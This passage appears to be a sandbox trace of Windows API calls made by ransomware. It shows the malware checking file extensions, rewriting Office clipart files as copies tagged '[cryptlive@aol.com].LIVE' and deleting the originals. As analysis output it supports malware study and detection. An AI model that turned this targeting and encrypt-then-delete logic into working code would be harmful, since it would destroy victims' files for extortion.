lpString2=".WMF") returned -1 [0146.566] lstrlenW (lpString=".xls") returned 4 [0146.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.566] lstrlenW (lpString=".xlsx") returned 5 [0146.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.566] lstrlenW (lpString=".ppt") returned 4 [0146.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.566] lstrlenW (lpString=".zip") returned 4 [0146.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.566] lstrlenW (lpString=".rar") returned 4 [0146.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString=".bz2") returned 4 [0146.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString=".7z") returned 3 [0146.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.567] lstrlenW (lpString=".dbf") returned 4 [0146.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.567] lstrlenW (lpString=".1cd") returned 4 [0146.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.567] lstrlenW (lpString=".jpg") returned 4 [0146.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.567] lstrlenW (lpString=".doc") returned 4 [0146.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString=".docx") returned 5 [0146.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.567] lstrlenW (lpString=".pdf") returned 4 [0146.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString=".xls") returned 4 [0146.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.567] lstrlenW (lpString=".xlsx") returned 5 [0146.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.567] lstrlenW (lpString=".ppt") returned 4 [0146.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.567] lstrlenW (lpString=".zip") returned 4 [0146.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.567] lstrlenW (lpString=".rar") returned 4 [0146.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString=".bz2") returned 4 [0146.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.567] lstrlenW (lpString=".7z") returned 3 [0146.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.568] lstrlenW (lpString=".dbf") returned 4 [0146.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.568] lstrlenW (lpString=".1cd") returned 4 [0146.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.568] lstrlenW (lpString=".jpg") returned 4 [0146.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.568] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.568] lstrlenW (lpString="HH02312_.WMF") returned 12 [0146.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.569] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4970) returned 1 [0146.569] CloseHandle (hObject=0x350) returned 1 [0146.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0146.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.569] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.569] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.570] GetLastError () returned 0x0 [0146.570] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x136a, lpOverlapped=0x0) returned 1 [0146.572] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0146.573] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.573] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.573] SetEndOfFile (hFile=0x39c) returned 1 [0146.573] CloseHandle (hObject=0x39c) returned 1 [0146.573] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.573] SetEndOfFile (hFile=0x350) returned 1 [0146.575] CloseHandle (hObject=0x350) returned 1 [0146.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0146.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.576] lstrlenW (lpString=".doc") returned 4 [0146.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.576] lstrlenW (lpString=".docx") returned 5 [0146.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.577] lstrlenW (lpString=".pdf") returned 4 [0146.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString=".xls") returned 4 [0146.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.577] lstrlenW (lpString=".xlsx") returned 5 [0146.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.577] lstrlenW (lpString=".ppt") returned 4 [0146.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.577] lstrlenW (lpString=".zip") returned 4 [0146.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.577] lstrlenW (lpString=".rar") returned 4 [0146.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString=".bz2") returned 4 [0146.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString=".7z") returned 3 [0146.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.577] lstrlenW (lpString=".dbf") returned 4 [0146.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.577] lstrlenW (lpString=".1cd") returned 4 [0146.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.577] lstrlenW (lpString=".jpg") returned 4 [0146.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.577] lstrlenW (lpString=".doc") returned 4 [0146.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString=".docx") returned 5 [0146.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.577] lstrlenW (lpString=".pdf") returned 4 [0146.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.577] lstrlenW (lpString=".xls") returned 4 [0146.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.578] lstrlenW (lpString=".xlsx") returned 5 [0146.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.578] lstrlenW (lpString=".ppt") returned 4 [0146.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.578] lstrlenW (lpString=".zip") returned 4 [0146.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.578] lstrlenW (lpString=".rar") returned 4 [0146.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.578] lstrlenW (lpString=".bz2") returned 4 [0146.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.578] lstrlenW (lpString=".7z") returned 3 [0146.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.578] lstrlenW (lpString=".dbf") returned 4 [0146.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.578] lstrlenW (lpString=".1cd") returned 4 [0146.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0146.578] lstrlenW (lpString=".jpg") returned 4 [0146.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.578] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.578] lstrlenW (lpString="HH02313_.WMF") returned 12 [0146.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.579] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3082) returned 1 [0146.579] CloseHandle (hObject=0x350) returned 1 [0146.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0146.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.579] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.579] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.580] GetLastError () returned 0x0 [0146.580] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xc0a, lpOverlapped=0x0) returned 1 [0146.582] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xc10, lpOverlapped=0x0) returned 1 [0146.582] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.583] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.583] SetEndOfFile (hFile=0x39c) returned 1 [0146.583] CloseHandle (hObject=0x39c) returned 1 [0146.583] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.583] SetEndOfFile (hFile=0x350) returned 1 [0146.585] CloseHandle (hObject=0x350) returned 1 [0146.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0146.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.586] lstrlenW (lpString=".doc") returned 4 [0146.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.586] lstrlenW (lpString=".docx") returned 5 [0146.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.586] lstrlenW (lpString=".pdf") returned 4 [0146.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString=".xls") returned 4 [0146.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.587] lstrlenW (lpString=".xlsx") returned 5 [0146.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.587] lstrlenW (lpString=".ppt") returned 4 [0146.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.587] lstrlenW (lpString=".zip") returned 4 [0146.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.587] lstrlenW (lpString=".rar") returned 4 [0146.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString=".bz2") returned 4 [0146.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString=".7z") returned 3 [0146.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.587] lstrlenW (lpString=".dbf") returned 4 [0146.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.587] lstrlenW (lpString=".1cd") returned 4 [0146.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.587] lstrlenW (lpString=".jpg") returned 4 [0146.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.587] lstrlenW (lpString=".doc") returned 4 [0146.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString=".docx") returned 5 [0146.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.587] lstrlenW (lpString=".pdf") returned 4 [0146.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.587] lstrlenW (lpString=".xls") returned 4 [0146.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.588] lstrlenW (lpString=".xlsx") returned 5 [0146.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.588] lstrlenW (lpString=".ppt") returned 4 [0146.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.588] lstrlenW (lpString=".zip") returned 4 [0146.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.588] lstrlenW (lpString=".rar") returned 4 [0146.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.588] lstrlenW (lpString=".bz2") returned 4 [0146.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.940] lstrlenW (lpString=".7z") returned 3 [0146.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.940] lstrlenW (lpString=".dbf") returned 4 [0146.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.985] lstrlenW (lpString=".1cd") returned 4 [0146.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0146.985] lstrlenW (lpString=".jpg") returned 4 [0146.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.994] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.994] lstrlenW (lpString="HM00172_.WMF") returned 12 [0146.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.183] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2832) returned 1 [0147.183] CloseHandle (hObject=0x36c) returned 1 [0147.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0147.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.218] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.218] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.546] GetLastError () returned 0x0 [0147.546] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xb10, lpOverlapped=0x0) returned 1 [0147.548] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0147.549] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.549] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.549] SetEndOfFile (hFile=0x384) returned 1 [0147.549] CloseHandle (hObject=0x384) returned 1 [0147.549] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.549] SetEndOfFile (hFile=0x38c) returned 1 [0147.551] CloseHandle (hObject=0x38c) returned 1 [0147.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0147.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.607] lstrlenW (lpString=".doc") returned 4 [0147.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.607] lstrlenW (lpString=".docx") returned 5 [0147.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.607] lstrlenW (lpString=".pdf") returned 4 [0147.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.607] lstrlenW (lpString=".xls") returned 4 [0147.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.607] lstrlenW (lpString=".xlsx") returned 5 [0147.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.607] lstrlenW (lpString=".ppt") returned 4 [0147.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0147.608] lstrlenW (lpString=".zip") returned 4 [0147.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.608] lstrlenW (lpString=".rar") returned 4 [0147.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned 